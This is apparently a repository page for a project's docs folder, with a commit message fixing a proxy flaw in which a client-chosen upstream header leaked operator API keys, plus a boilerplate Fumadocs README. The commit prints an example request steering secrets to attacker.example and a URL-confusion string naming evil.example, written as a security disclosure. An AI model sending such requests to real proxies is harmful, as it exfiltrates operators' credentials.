headroom/docs
Tejas Chopra dcaaa402e8 fix(proxy): stop operator secrets following a client-chosen upstream
`x-headroom-base-url` lets a client pick the upstream for a single
request. `*_extra_headers` is operator-configured, marked secret=True in
the settings store, and its own help text uses an API key as the example
value. The two met in the wrong order:

    openai.py:3127  headers = merge_extra_headers(headers, ...)
    openai.py:3134  upstream_base_url = _resolve_openai_upstream_base(...)

The secret was merged before the destination was known, so

    POST /v1/messages
    X-Headroom-Base-Url: https://attacker.example

reached the attacker's host carrying the operator's gateway key. One
request, no user interaction, from anything able to reach the proxy port.
Same shape on the Anthropic Messages route and /v1/responses.

The rule now is the one `copilot_auth.is_copilot_upstream_url` already
applied to Headroom's own Copilot token, generalized: a secret only
travels to a host the operator designated -- a configured provider
target, or one listed in HEADROOM_UPSTREAM_ALLOWED_HOSTS. Undesignated
upstreams are still proxied, just without the secret, and the refusal is
logged once per host with the remedy in the message.

`upstream_url` is a required keyword argument on merge_extra_headers
rather than an optional one. That is the actual fix: a forwarder cannot
merge a secret without declaring where it goes, so this cannot silently
come back the next time a handler is added. All nine call sites now
declare their destination.

Matching is on the parsed hostname, never the URL string -- comparing
whole strings lets `https://api.anthropic.com@evil.example` through and
makes a base URL match while base+path does not.
2026-08-18 21:54:11 -07:00
..
app docs: improve discoverability for AI agents and search crawlers 2026-05-13 17:36:06 -07:00
components docs: sync Vercel docs with current code and add in-depth proxy config (#2475) 2026-07-21 16:26:56 -07:00
content/docs fix(proxy): stop operator secrets following a client-chosen upstream 2026-08-18 21:54:11 -07:00
lib docs: sync Vercel docs with current code and add in-depth proxy config (#2475) 2026-07-21 16:26:56 -07:00
overrides fix: repair release and docs pipelines 2026-04-16 12:53:51 -05:00
screenshots Merge pull request #147 from JerrettDavis/feat/anthropic-usage-insights 2026-04-12 10:54:22 -07:00
.gitignore new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
bun.lock fix(deps): remediate dependency CVEs and publish SBOM (#1509) 2026-06-27 15:28:12 -07:00
claude-code-bedrock-headroom.md fix(bedrock): route ARNs via converse, named AWS profiles, and au. re… (#1456) 2026-07-02 22:51:05 -05:00
context-mode-integration-analysis.md perf(proxy): bound upstream calls and hot-path costs (#2852) 2026-08-09 16:24:33 -07:00
next.config.mjs new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
observability.md fix(proxy/metrics): cap client-supplied model label cardinality (#2480) 2026-08-12 00:15:49 -05:00
package-lock.json deps: bump postcss from 8.5.19 to 8.5.26 in /docs (#2881) 2026-08-10 17:30:15 -05:00
package.json deps: bump postcss from 8.5.19 to 8.5.26 in /docs (#2881) 2026-08-10 17:30:15 -05:00
platform-feature-matrix.json fix: harden persistent install startup (#1851) 2026-07-10 00:40:34 -04:00
platform-stabilization.md fix: harden persistent install startup (#1851) 2026-07-10 00:40:34 -04:00
postcss.config.mjs new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
proxy.ts new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
README.md new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
source.config.ts docs(ci): add CI/CD flow diagrams (#1062) 2026-06-16 23:05:15 -07:00
tsconfig.json new docs UI + ts doc coverage 2026-04-12 13:15:58 +06:00
vercel.json fix: add Vercel deploy config and workflow for docs site (#1739) 2026-07-14 13:25:18 -04:00

docs

This is a Next.js application generated with Create Fumadocs.

Run development server:

npm run dev
# or
pnpm dev
# or
yarn dev

Open http://localhost:3000 with your browser to see the result.

Explore

In the project, you can see:

  • lib/source.ts: Code for content source adapter, loader() provides the interface to access your content.
  • lib/layout.shared.tsx: Shared options for layouts, optional but preferred to keep.
Route Description
app/(home) The route group for your landing page and other pages.
app/docs The documentation layout and pages.
app/api/search/route.ts The Route Handler for search.

Fumadocs MDX

A source.config.ts config file has been included, you can customise different options like frontmatter schema.

Read the Introduction for further details.

Learn More

To learn more about Next.js and Fumadocs, take a look at the following resources: